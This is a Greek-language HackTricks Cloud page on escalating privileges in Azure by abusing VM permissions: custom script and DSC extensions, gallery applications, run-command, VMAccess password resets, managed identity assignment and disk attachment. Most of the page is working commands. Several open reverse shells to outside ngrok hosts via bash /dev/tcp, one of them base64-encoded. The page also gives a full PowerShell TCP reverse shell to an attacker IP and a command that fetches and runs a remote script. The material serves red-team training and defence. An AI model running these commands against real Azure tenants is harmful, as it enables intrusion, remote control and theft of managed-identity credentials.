Az - Virtual Machines & Network Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
VMS & Network
Για περισσότερες πληροφορίες σχετικά με τα Azure Virtual Machines και το Network, ελέγξτε:
Az - Virtual Machines & Network
Microsoft.Compute/virtualMachines/extensions/write
Αυτή η άδεια επιτρέπει την εκτέλεση επεκτάσεων σε εικονικές μηχανές που επιτρέπουν να εκτελούνται αυθαίρετος κώδικας σε αυτές.
Παράδειγμα κατάχρησης προσαρμοσμένων επεκτάσεων για την εκτέλεση αυθαίρετων εντολών σε μια VM:
- Εκτέλεση ενός reverse shell
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Εκτελέστε ένα σενάριο που βρίσκεται στο διαδίκτυο
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Είναι επίσης δυνατό να καταχραστεί κανείς γνωστές επεκτάσεις για να εκτελέσει κώδικα ή να πραγματοποιήσει προνομιακές ενέργειες μέσα στα VMs:
VMAccess extension
Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)
Αυτή είναι μια VM extension που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να εκτελεί αυθαίρετες εντολές σε Windows VMs μέσω αυτής της επέκτασης:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Υβριδικός Εργαζόμενος Runbook
Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία Automation Accounts.
Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)
Αυτές είναι οι απαιτούμενες άδειες για δημιουργία μιας νέας εφαρμογής γκαλερί και εκτέλεση της μέσα σε ένα VM. Οι εφαρμογές γκαλερί μπορούν να εκτελούν οτιδήποτε, επομένως ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να παραβιάσει τις VM περιπτώσεις εκτελώντας αυθαίρετες εντολές.
Οι τελευταίες 2 άδειες μπορεί να αποφευχθούν μοιράζοντας την εφαρμογή με τον ενοικιαστή.
Παράδειγμα εκμετάλλευσης για εκτέλεση αυθαίρετων εντολών:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Microsoft.Compute/virtualMachines/runCommand/action
Αυτός είναι ο πιο βασικός μηχανισμός που παρέχει το Azure για την εκτέλεση αυθαίρετων εντολών σε VMs:
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Microsoft.Compute/virtualMachines/login/action
Αυτή η άδεια επιτρέπει σε έναν χρήστη να συνδεθεί ως χρήστης σε μια VM μέσω SSH ή RDP (αρκεί η αυθεντικοποίηση Entra ID να είναι ενεργοποιημένη στη VM).
Συνδεθείτε μέσω SSH με az ssh vm --name <vm-name> --resource-group <rsc-group> και μέσω RDP με τα κανονικά σας Azure διαπιστευτήρια.
Microsoft.Compute/virtualMachines/loginAsAdmin/action
Αυτή η άδεια επιτρέπει σε έναν χρήστη να συνδεθεί ως χρήστης σε μια VM μέσω SSH ή RDP (αρκεί η αυθεντικοποίηση Entra ID να είναι ενεργοποιημένη στη VM).
Συνδεθείτε μέσω SSH με az ssh vm --name <vm-name> --resource-group <rsc-group> και μέσω RDP με τα κανονικά σας Azure διαπιστευτήρια.
Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Όλες αυτές είναι οι απαραίτητες άδειες για να δημιουργήσετε μια VM με μια συγκεκριμένη διαχειριζόμενη ταυτότητα και να αφήσετε μια θύρα ανοιχτή (22 σε αυτή την περίπτωση). Αυτό επιτρέπει σε έναν χρήστη να δημιουργήσει μια VM και να συνδεθεί σε αυτήν και να κλέψει τα διαπιστευτήρια της διαχειριζόμενης ταυτότητας για να κλιμακώσει τα προνόμια σε αυτήν.
Ανάλογα με την κατάσταση, μπορεί να χρειαστούν περισσότερες ή λιγότερες άδειες για να καταχραστεί αυτή η τεχνική.
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Αυτές οι άδειες είναι αρκετές για να αναθέσετε νέες διαχειριζόμενες ταυτότητες σε μια VM. Σημειώστε ότι μια VM μπορεί να έχει πολλές διαχειριζόμενες ταυτότητες. Μπορεί να έχει την ταυτότητα που ανατίθεται από το σύστημα, και πολλές ταυτότητες που διαχειρίζονται από χρήστες.
Στη συνέχεια, από την υπηρεσία μεταδεδομένων είναι δυνατή η δημιουργία tokens για κάθε μία.
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
Τότε ο επιτιθέμενος πρέπει να έχει συμβιβάσει με κάποιον τρόπο το VM για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε περισσότερες πληροφορίες στο:
Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
Αυτές οι άδειες επιτρέπουν την αλλαγή του χρήστη και του κωδικού πρόσβασης της εικονικής μηχανής για να αποκτηθεί πρόσβαση σε αυτήν:
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
Microsoft.Compute/virtualMachines/write, “Microsoft.Compute/virtualMachines/read”, “Microsoft.Compute/disks/read”, “Microsoft.Network/networkInterfaces/read”, “Microsoft.Network/networkInterfaces/join/action”, “Microsoft.Compute/disks/write”.
Αυτές οι άδειες σας επιτρέπουν να διαχειρίζεστε δίσκους και διεπαφές δικτύου, και σας επιτρέπουν να συνδέσετε έναν δίσκο σε μια εικονική μηχανή.
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Σύμφωνα με τα έγγραφα, αυτή η άδεια σας επιτρέπει να διαχειρίζεστε το λειτουργικό σύστημα του πόρου σας μέσω του Windows Admin Center ως διαχειριστής. Έτσι φαίνεται ότι αυτό δίνει πρόσβαση στο WAC για τον έλεγχο των VMs…
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

